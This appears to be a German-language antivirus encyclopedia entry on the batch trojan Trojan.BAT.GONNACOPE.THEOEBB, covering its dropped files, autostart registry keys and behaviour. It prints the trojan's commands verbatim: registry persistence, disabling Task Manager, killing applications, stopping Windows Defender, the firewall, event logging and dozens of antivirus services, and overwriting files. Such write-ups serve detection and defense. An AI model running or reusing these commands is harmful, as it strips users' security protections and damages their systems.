Trojan.BAT.GONNACOPE.THEOEBB

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein:

• %Desktop%\random.txt
• %Desktop%\%qqHqo

(Hinweis: %Desktop% ist der Ordner 'Desktop' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Desktop unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Desktop unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Desktop unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\Desktop unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Prozesse hinzu:

• attrib +h {Malware Filename}.bat
• RUNDLL32 USER32.DLL SwapMouseButton
• reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_26556_toolbar" /t "REG_SZ" /d {Malware Filename}.bat /f
• reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
• reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
• 24)cmd.exe
• tskill iexplore
• tskill msnmsgr
• tskill excel
• tskill iTunes
• tskill calc
• tskill msaccess
• tskill safari
• tskill mspaint
• tskill outlook
• tskill WINWORD
• net stop "WinDefend"
• taskkill /f /t /im "MSASCui.exe"
• net stop "wuauserv"
• net stop "security center"
• net stop sharedaccess
• netsh firewall set opmode mode-disable
• net stop "Security Center" /y
• net stop "Automatic Updates" /y
• net stop "Symantec Core LC" /y
• net stop "SAVScan" /y
• net stop "norton AntiVirus Firewall Monitor Service" /y
• net stop "norton AntiVirus Auto-Protect Service" /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "McAfee Spamkiller Server" /y
• net stop "McAfee Personal Firewall Service" /y
• net stop "McAfee SecurityCenter Update Manager" /y
• net stop "Symantec SPBBCSvc" /y
• net stop "Ahnlab Task Scheduler" /y
• net stop navapsvc /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop vrmonsvc /y
• net stop MonSvcNT /y
• net stop SAVScan /y
• net stop NProtectService /y
• net stop ccSetMGR /y
• net stop ccEvtMGR /y
• net stop srservice /y
• net stop "Symantec Network Drivers Service" /y
• net stop "norton Unerase Protection" /y
• net stop MskService /y
• net stop MpfService /y
• net stop mcupdmgr.exe /y
• net stop "McAfeeAntiSpyware" /y
• net stop helpsvc /y
• net stop ERSvc /y
• net stop "*norton*" /y
• net stop "*Symantec*" /y
• net stop "*McAfee*" /y
• net stop ccPwdSvc /y
• net stop "Symantec Core LC" /y
• net stop navapsvc /y
• net stop "Serv-U" /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "norton AntiVirus Client" /y
• net stop "Symantec AntiVirus Client" /y
• net stop "norton AntiVirus Server" /y
• net stop "NAV Alert" /y
• net stop "Nav Auto-Protect" /y
• net stop "McShield" /y
• net stop "DefWatch" /y
• net stop eventlog /y
• net stop InoRPC /y
• net stop InoRT /y
• net stop InoTask /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "norton AntiVirus Client" /y
• net stop "norton AntiVirus Corporate Edition" /y
• net stop "PC-cillin Personal Firewall" /y
• net stop "Trend Micro Proxy Service" /y
• net stop "Trend NT Realtime Service" /y
• net stop "McAfee.com McShield" /y
• net stop "McAfee.com VirusScan Online Realtime Engine" /y
• net stop "SyGateService" /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop "Sophos Anti-Virus" /y
• net stop "Sophos Anti-Virus Network" /y
• net stop "eTrust Antivirus Job Server" /y
• net stop "eTrust Antivirus Realtime Server" /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop "eTrust Antivirus RPC Server" /y
• net stop netsvcs
• net stop spoolnt
• xcopy /y random.txt {File to infect}

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
rundll32_26556_toolbar = {Malware Filename}.bat

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = %Windows%\.bat